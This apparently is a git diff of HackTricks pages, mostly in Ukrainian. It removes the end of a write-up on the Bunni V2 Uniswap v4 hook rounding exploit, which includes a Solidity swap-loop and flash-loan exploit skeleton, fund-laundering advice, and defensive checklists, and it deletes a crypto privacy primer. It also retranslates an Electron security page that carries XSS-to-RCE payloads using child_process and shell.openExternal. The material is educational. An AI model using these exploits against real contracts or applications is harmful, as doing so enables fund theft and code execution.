||||
// 2) Determine a boundary‑crossing exactInput
|
||||
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||
|
||||
// 3) Loop swaps to accrue rounding credit
|
||||
for (uint i; i < N; ++i) {
|
||||
pm.swap(
|
||||
key,
|
||||
IPoolManager.SwapParams({
|
||||
zeroForOne: true,
|
||||
amountSpecified: int256(exactIn), // exactInput
|
||||
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||
}),
|
||||
""
|
||||
);
|
||||
}
|
||||
|
||||
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||
bunniHook.withdrawCredits(msg.sender);
|
||||
}
|
||||
```
|
||||
Калібрування exactInput
|
||||
- Обчисліть ΔsqrtP для кроку тика: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
||||
- Наближено оцініть Δin, використовуючи формули v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Переконайтесь, що напрямок округлення відповідає математиці ядра.
|
||||
- Відрегулюйте Δin на ±1 wei навколо межі, щоб знайти гілку, де hook округлює на вашу користь.
|
||||
|
||||
4) Підсиліть за допомогою flash loans
|
||||
- Позичте великий номінал (наприклад, 3M USDT або 2000 WETH), щоб виконати багато ітерацій атомарно.
|
||||
- Виконайте калібрований swap-цикл, потім зніміть і поверніть кошти в межах callback'а flash loan.
|
||||
|
||||
Aave V3 flash loan skeleton
|
||||
```solidity
|
||||
function executeOperation(
|
||||
address[] calldata assets,
|
||||
uint256[] calldata amounts,
|
||||
uint256[] calldata premiums,
|
||||
address initiator,
|
||||
bytes calldata params
|
||||
) external returns (bool) {
|
||||
// run threshold‑crossing swap loop here
|
||||
for (uint i; i < N; ++i) {
|
||||
_exactInBoundaryCrossingSwap();
|
||||
}
|
||||
// realize credits / withdraw inflated balances
|
||||
bunniHook.withdrawCredits(address(this));
|
||||
// repay
|
||||
for (uint j; j < assets.length; ++j) {
|
||||
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
5) Вихід і крос‑чейн реплікація
|
||||
- Якщо hooks розгорнуті на кількох ланцюгах, повторіть ту саму калібрування для кожного.
|
||||
- Bridge повертає кошти назад на цільовий ланцюг і опційно прокручує їх через протоколи кредитування для ускладнення трасування потоків.
|
||||
|
||||
## Поширені кореневі причини в обчисленнях hook'а
|
||||
|
||||
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
|
||||
- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another.
|
||||
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
|
||||
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
|
||||
- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum.
|
||||
|
||||
## Захисні рекомендації
|
||||
|
||||
- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
|
||||
- Invariant/property tests:
|
||||
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
|
||||
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
|
||||
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
|
||||
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
|
||||
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
|
||||
- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges.
|
||||
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
|
||||
|
||||
## Дослідження випадку: Bunni V2 (2025‑09‑02)
|
||||
|
||||
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
|
||||
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
|
||||
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
|
||||
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
|
||||
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
|
||||
|
||||
## Чекліст для виявлення
|
||||
|
||||
- Does the pool use a non‑zero hooks address? Which callbacks are enabled?
|
||||
- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic?
|
||||
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
|
||||
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
|
||||
- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
|
||||
|
||||
## References
|
||||
|
||||
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,182 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Основні Концепції
|
||||
|
||||
- **Смарт-контракти** визначаються як програми, які виконуються на блокчейні, коли виконуються певні умови, автоматизуючи виконання угод без посередників.
|
||||
- **Децентралізовані додатки (dApps)** базуються на смарт-контрактах, маючи зручний інтерфейс для користувачів та прозорий, підзвітний бекенд.
|
||||
- **Токени та Монети** відрізняються тим, що монети слугують цифровими грошима, тоді як токени представляють цінність або власність у певних контекстах.
|
||||
- **Утиліті токени** надають доступ до послуг, а **Секюріті токени** позначають власність на активи.
|
||||
- **DeFi** означає децентралізовані фінанси, пропонуючи фінансові послуги без центральних органів.
|
||||
- **DEX** та **DAO** відносяться до децентралізованих платформ обміну та децентралізованих автономних організацій відповідно.
|
||||
|
||||
## Механізми Консенсусу
|
||||
|
||||
Механізми консенсусу забезпечують безпечну та узгоджену валідацію транзакцій на блокчейні:
|
||||
|
||||
- **Proof of Work (PoW)** покладається на обчислювальну потужність для верифікації транзакцій.
|
||||
- **Proof of Stake (PoS)** вимагає, щоб валідатори тримали певну кількість токенів, зменшуючи споживання енергії в порівнянні з PoW.
|
||||
|
||||
## Основи Bitcoin
|
||||
|
||||
### Транзакції
|
||||
|
||||
Транзакції Bitcoin включають передачу коштів між адресами. Транзакції верифікуються за допомогою цифрових підписів, що забезпечує, що лише власник приватного ключа може ініціювати перекази.
|
||||
|
||||
#### Ключові Компоненти:
|
||||
|
||||
- **Мультипідписні транзакції** вимагають кілька підписів для авторизації транзакції.
|
||||
- Транзакції складаються з **входів** (джерело коштів), **виходів** (призначення), **комісій** (сплачених майнерам) та **скриптів** (правил транзакції).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Спрямована на покращення масштабованості Bitcoin, дозволяючи кілька транзакцій в межах каналу, лише транслюючи фінальний стан на блокчейн.
|
||||
|
||||
## Проблеми Приватності Bitcoin
|
||||
|
||||
Атаки на приватність, такі як **Припущення спільної власності на входи** та **Виявлення адреси зміни UTXO**, експлуатують шаблони транзакцій. Стратегії, такі як **Міксери** та **CoinJoin**, покращують анонімність, приховуючи зв'язки транзакцій між користувачами.
|
||||
|
||||
## Отримання Bitcoin анонімно
|
||||
|
||||
Методи включають готівкові угоди, майнінг та використання міксерів. **CoinJoin** змішує кілька транзакцій, ускладнюючи трасування, тоді як **PayJoin** маскує CoinJoins як звичайні транзакції для підвищення приватності.
|
||||
|
||||
# Атаки на Приватність Bitcoin
|
||||
|
||||
# Резюме Атак на Приватність Bitcoin
|
||||
|
||||
У світі Bitcoin приватність транзакцій та анонімність користувачів часто викликають занепокоєння. Ось спрощений огляд кількох поширених методів, за допомогою яких зловмисники можуть скомпрометувати приватність Bitcoin.
|
||||
|
||||
## **Припущення спільної власності на входи**
|
||||
|
||||
Зазвичай рідко, щоб входи від різних користувачів об'єднувалися в одній транзакції через пов'язані складнощі. Таким чином, **дві адреси входів в одній транзакції часто вважаються належними одному власнику**.
|
||||
|
||||
## **Виявлення адреси зміни UTXO**
|
||||
|
||||
UTXO, або **Невитрачений вихід транзакції**, повинен бути повністю витрачений у транзакції. Якщо лише частина з нього надсилається на іншу адресу, решта йде на нову адресу зміни. Спостерігачі можуть припустити, що ця нова адреса належить відправнику, що компрометує приватність.
|
||||
|
||||
### Приклад
|
||||
|
||||
Щоб зменшити це, міксингові сервіси або використання кількох адрес можуть допомогти приховати власність.
|
||||
|
||||
## **Витік через Соціальні Мережі та Форуми**
|
||||
|
||||
Користувачі іноді діляться своїми адресами Bitcoin в Інтернеті, що робить **легким зв'язок адреси з її власником**.
|
||||
|
||||
## **Аналіз Графа Транзакцій**
|
||||
|
||||
Транзакції можна візуалізувати як графи, що виявляють потенційні зв'язки між користувачами на основі потоку коштів.
|
||||
|
||||
## **Гіпотеза Непотрібного Входу (Оптимальна Гіпотеза Зміни)**
|
||||
|
||||
Ця гіпотеза базується на аналізі транзакцій з кількома входами та виходами, щоб вгадати, який вихід є зміною, що повертається до відправника.
|
||||
|
||||
### Приклад
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Якщо додавання більше вхідних даних робить вихідні дані більшими, ніж будь-який окремий вхід, це може заплутати евристичний аналіз.
|
||||
|
||||
## **Примусове повторне використання адреси**
|
||||
|
||||
Зловмисники можуть надсилати невеликі суми на раніше використані адреси, сподіваючись, що отримувач об'єднає їх з іншими вхідними даними в майбутніх транзакціях, таким чином пов'язуючи адреси разом.
|
||||
|
||||
### Правильна поведінка гаманця
|
||||
|
||||
Гаманці повинні уникати використання монет, отриманих на вже використаних, порожніх адресах, щоб запобігти цьому витоку конфіденційності.
|
||||
|
||||
## **Інші техніки аналізу блокчейну**
|
||||
|
||||
- **Точні суми платежів:** Транзакції без здачі, ймовірно, між двома адресами, що належать одному користувачу.
|
||||
- **Круглі числа:** Кругле число в транзакції вказує на те, що це платіж, а не круглий вихід, ймовірно, є здачею.
|
||||
- **Фінгертепінг гаманців:** Різні гаманці мають унікальні шаблони створення транзакцій, що дозволяє аналітикам ідентифікувати використовуване програмне забезпечення та потенційно адресу здачі.
|
||||
- **Кореляції суми та часу:** Розкриття часу або сум транзакцій може зробити транзакції відстежуваними.
|
||||
|
||||
## **Аналіз трафіку**
|
||||
|
||||
Моніторинг мережевого трафіку може дозволити зловмисникам потенційно пов'язати транзакції або блоки з IP-адресами, що компрометує конфіденційність користувачів. Це особливо вірно, якщо суб'єкт управляє багатьма вузлами Bitcoin, що підвищує їх здатність моніторити транзакції.
|
||||
|
||||
## Більше
|
||||
|
||||
Для отримання всебічного списку атак на конфіденційність і захистів від них відвідайте [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Анонімні транзакції Bitcoin
|
||||
|
||||
## Способи отримати Bitcoin анонімно
|
||||
|
||||
- **Готівкові транзакції**: Отримання біткойнів через готівку.
|
||||
- **Альтернативи готівці**: Придбання подарункових карток і обмін їх онлайн на біткойни.
|
||||
- **Майнінг**: Найбільш приватний спосіб заробити біткойни - це майнінг, особливо коли його виконують наодинці, оскільки майнінг-пули можуть знати IP-адресу майнера. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Крадіжка**: Теоретично, крадіжка біткойнів може бути ще одним способом отримати їх анонімно, хоча це незаконно і не рекомендується.
|
||||
|
||||
## Сервіси змішування
|
||||
|
||||
Використовуючи сервіс змішування, користувач може **надіслати біткойни** і отримати **інші біткойни в обмін**, що ускладнює відстеження оригінального власника. Проте це вимагає довіри до сервісу, щоб він не зберігав журнали і дійсно повертав біткойни. Альтернативні варіанти змішування включають казино Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** об'єднує кілька транзакцій від різних користувачів в одну, ускладнюючи процес для будь-кого, хто намагається зіставити вхідні дані з вихідними. Незважаючи на свою ефективність, транзакції з унікальними розмірами вхідних і вихідних даних все ще можуть бути відстежені.
|
||||
|
||||
Прикладом транзакцій, які могли використовувати CoinJoin, є `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` та `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Для отримання додаткової інформації відвідайте [CoinJoin](https://coinjoin.io/en). Для подібного сервісу на Ethereum ознайомтеся з [Tornado Cash](https://tornado.cash), який анонімізує транзакції з коштів від майнерів.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Варіант CoinJoin, **PayJoin** (або P2EP), маскує транзакцію між двома сторонами (наприклад, клієнтом і торговцем) як звичайну транзакцію, без характерних рівних виходів, притаманних CoinJoin. Це робить її надзвичайно важкою для виявлення і може знецінити евристичний аналіз спільної власності вхідних даних, що використовується організаціями, які здійснюють моніторинг транзакцій.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність, залишаючись невідрізняними від стандартних біткойн-транзакцій.
|
||||
|
||||
**Використання PayJoin може суттєво порушити традиційні методи спостереження**, що робить його багатообіцяючим розвитком у прагненні до транзакційної конфіденційності.
|
||||
|
||||
# Найкращі практики для конфіденційності в криптовалютах
|
||||
|
||||
## **Техніки синхронізації гаманців**
|
||||
|
||||
Для підтримки конфіденційності та безпеки важливо синхронізувати гаманці з блокчейном. Виділяються два методи:
|
||||
|
||||
- **Повний вузол**: Завантажуючи весь блокчейн, повний вузол забезпечує максимальну конфіденційність. Усі транзакції, коли-небудь здійснені, зберігаються локально, що унеможливлює для супротивників визначити, які транзакції або адреси цікавлять користувача.
|
||||
- **Фільтрація блоків на стороні клієнта**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, що дозволяє гаманцям ідентифікувати відповідні транзакції, не розкриваючи конкретні інтереси спостерігачам мережі. Легкі гаманці завантажують ці фільтри, отримуючи повні блоки лише тоді, коли знаходять збіг з адресами користувача.
|
||||
|
||||
## **Використання Tor для анонімності**
|
||||
|
||||
Оскільки Bitcoin працює в мережі рівноправних учасників, рекомендується використовувати Tor для маскування вашої IP-адреси, що підвищує конфіденційність під час взаємодії з мережею.
|
||||
|
||||
## **Запобігання повторному використанню адрес**
|
||||
|
||||
Для захисту конфіденційності важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати конфіденційність, пов'язуючи транзакції з однією і тією ж особою. Сучасні гаманці заохочують уникнення повторного використання адрес через свій дизайн.
|
||||
|
||||
## **Стратегії для конфіденційності транзакцій**
|
||||
|
||||
- **Кілька транзакцій**: Розподіл платежу на кілька транзакцій може затемнити суму транзакції, ускладнюючи атаки на конфіденційність.
|
||||
- **Уникнення здачі**: Вибір транзакцій, які не потребують здачі, підвищує конфіденційність, порушуючи методи виявлення здачі.
|
||||
- **Кілька виходів здачі**: Якщо уникнути здачі неможливо, створення кількох виходів здачі все ще може покращити конфіденційність.
|
||||
|
||||
# **Monero: маяк анонімності**
|
||||
|
||||
Monero відповідає потребі в абсолютній анонімності в цифрових транзакціях, встановлюючи високий стандарт для конфіденційності.
|
||||
|
||||
# **Ethereum: газ і транзакції**
|
||||
|
||||
## **Розуміння газу**
|
||||
|
||||
Газ вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, ціна в **gwei**. Наприклад, транзакція, що коштує 2,310,000 gwei (або 0.00231 ETH), передбачає ліміт газу та базовий збір, з чаєм для стимулювання майнерів. Користувачі можуть встановити максимальний збір, щоб не переплачувати, з надлишком, що повертається.
|
||||
|
||||
## **Виконання транзакцій**
|
||||
|
||||
Транзакції в Ethereum передбачають відправника та отримувача, якими можуть бути адреси користувача або смарт-контракту. Вони вимагають збору та повинні бути видобуті. Основна інформація в транзакції включає отримувача, підпис відправника, значення, необов'язкові дані, ліміт газу та збори. Важливо, що адреса відправника виводиться з підпису, що усуває необхідність її вказування в даних транзакції.
|
||||
|
||||
Ці практики та механізми є основоположними для будь-кого, хто прагне взаємодіяти з криптовалютами, при цьому пріоритетуючи конфіденційність і безпеку.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,17 +1,17 @@
|
||||
# Electron настільні додатки
|
||||
# Десктопні застосунки Electron
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Вступ
|
||||
|
||||
Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
|
||||
Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому не вистачає деяких механізмів безпеки сучасних браузерів.
|
||||
|
||||
Зазвичай код Electron-додатка можна знайти всередині `.asar` пакунку; щоб отримати код, потрібно його витягти:
|
||||
Зазвичай код electron-застосунку можна знайти всередині `.asar` архіву; щоб отримати код, його потрібно витягти:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлено налаштування безпеки.
|
||||
У вихідному коді Electron-додатка, у файлі `packet.json`, вказано файл `main.js`, у якому задаються налаштування безпеки.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -20,11 +20,11 @@ npx asar extract-file app.asar main.js #Extract just a file
|
||||
Electron має 2 типи процесів:
|
||||
|
||||
- Головний процес (має повний доступ до NodeJS)
|
||||
- Рендерер (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
|
||||
- Процес рендерера (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
|
||||
|
||||
.png>)
|
||||
|
||||
A **рендерер** буде вікном браузера, що завантажує файл:
|
||||
**Процес рендерера** буде вікном браузера, яке завантажує файл:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE додатком Electron** або іншим вразливостям, якщо **налаштування встановлені правильно**.
|
||||
Налаштування **renderer process** можна **задати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти RCE** або іншим вразливостям в Electron application, якщо **параметри налаштовані правильно**.
|
||||
|
||||
Додаток Electron **може отримати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
|
||||
Electron application **could access the device** via Node apis although it can be configure to prevent it:
|
||||
|
||||
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до node-функцій з renderer process.
|
||||
- **`contextIsolation`** - за замовчуванням `on`. Якщо вимкнено, main та renderer процеси не ізольовані.
|
||||
- **`nodeIntegration`** - за замовчуванням `off`. Якщо `on`, дозволяє доступ до node features з renderer process.
|
||||
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main і renderer processes не ізольовані.
|
||||
- **`preload`** - порожній за замовчуванням.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнений. Обмежує дії, які може виконувати NodeJS.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Він обмежує дії, які може виконувати NodeJS.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - за замовчуванням `off`.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron-додатку.
|
||||
- Якщо **`nodeIntegration`** **вимкнено**, тоді preload-скрипти завантажуватимуться в iframe
|
||||
- **`nodeIntegrationInSubframes`**- за замовчуванням `off`.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application.
|
||||
- Якщо **`nodeIntegration`** **відключено**, тоді preloads завантажуються в iframe
|
||||
|
||||
Example of configuration:
|
||||
Приклад конфігурації:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Захоплення трафіку
|
||||
|
||||
Змініть конфігурацію start-main та додайте використання proxy, наприклад:
|
||||
Змініть конфігурацію start-main і додайте використання proxy, наприклад:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Якщо ви можете локально виконати Electron App, можливо, ви зможете змусити його виконувати довільний javascript код. Див. як у:
|
||||
Якщо ви можете локально виконати Electron App, можливо, ви зможете змусити його виконати довільний javascript код. Див. як у:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити calc на Windows такий:
|
||||
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може легко використовувати можливості Node.js, просто викликавши `require()`. Наприклад, спосіб запустити додаток calc на Windows такий:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами у renderer**, тому має **необмежений доступ до Node APIs**:
|
||||
Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами в renderer**, тому він має **необмежений доступ до Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Отже, скрипт може експортувати node-features на сторінки:
|
||||
Отже, скрипт може експортувати node-features до сторінок:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -153,13 +153,13 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ вводить **розділені контексти між скриптами веб-сторінки та внутрішнім кодом Electron на JavaScript**, щоб виконання JavaScript одного коду не впливало на інше. Це необхідна функція для усунення можливості RCE.
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
|
||||
Якщо контексти не ізольовані, атакуючий може:
|
||||
If the contexts aren't isolated an attacker can:
|
||||
|
||||
1. Виконати **arbitrary JavaScript in renderer** (XSS або навігацію на зовнішні сайти)
|
||||
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, щоб захопити функцію
|
||||
3. **Спровокувати** використання **перезаписаної функції**
|
||||
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
||||
2. **Overwrite the built-in method** which is used in preload or Electron internal code to отримати контроль
|
||||
3. **Trigger** the use of **overwritten function**
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
@ -181,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Обхід події кліку
|
||||
|
||||
Якщо при кліку по посиланню застосовано обмеження, ви можете їх обійти, **виконавши середній клік** замість звичайного лівого кліку
|
||||
Якщо при кліку на посилання застосовано обмеження, ви можете обійти їх, **натиснувши середню кнопку миші** замість звичайного лівого кліку
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Для додаткової інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Під час розгортання десктопного додатку Electron критично важливо правильно налаштувати `nodeIntegration` та `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямований на preload scripts або Electron's native code з main process, ефективно запобігається за наявності цих налаштувань.
|
||||
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Вважається, що **client-side remote code execution (RCE)**, спрямований на preload scripts або нативний код Electron із main process, ефективно запобігається за наявності цих налаштувань.
|
||||
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку:
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які є критично важливими для безпеки та функціональності застосунку:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ці слухачі **перевизначаються десктоп‑додатком**, щоб реалізувати його власну **бізнес‑логіку**. Додаток оцінює, чи слід відкривати перехідне посилання внутрішньо або у зовнішньому веб‑браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкрити зовні з використанням функції `shell.openExternal`.
|
||||
Ці слухачі **перевизначаються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток вирішує, чи відкривати перехід за посиланням внутрішньо, чи у зовнішньому веб-браузері. Це рішення зазвичай приймається за допомогою функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкривати зовнішньо з використанням функції `shell.openExternal`.
|
||||
|
||||
**Ось спрощений псевдокод:**
|
||||
|
||||
@ -204,11 +204,11 @@ webContents.on("will-navigate", function (event, url) {}
|
||||
|
||||
.png>)
|
||||
|
||||
Рекомендації щодо безпеки Electron JS застерігають від прийняття ненадійного контенту через функцію `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та додаткового пояснення з цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
|
||||
Electron JS security best practices не радять приймати ненадійний контент через функцію `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальших пояснень з цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), яке включає приклади протоколів Windows, здатні експлуатувати цю вразливість.
|
||||
|
||||
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Приклади експлуатації протоколів Windows включають:**
|
||||
**Приклади експлойтів протоколів Windows включають:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -230,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Цю vuln можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
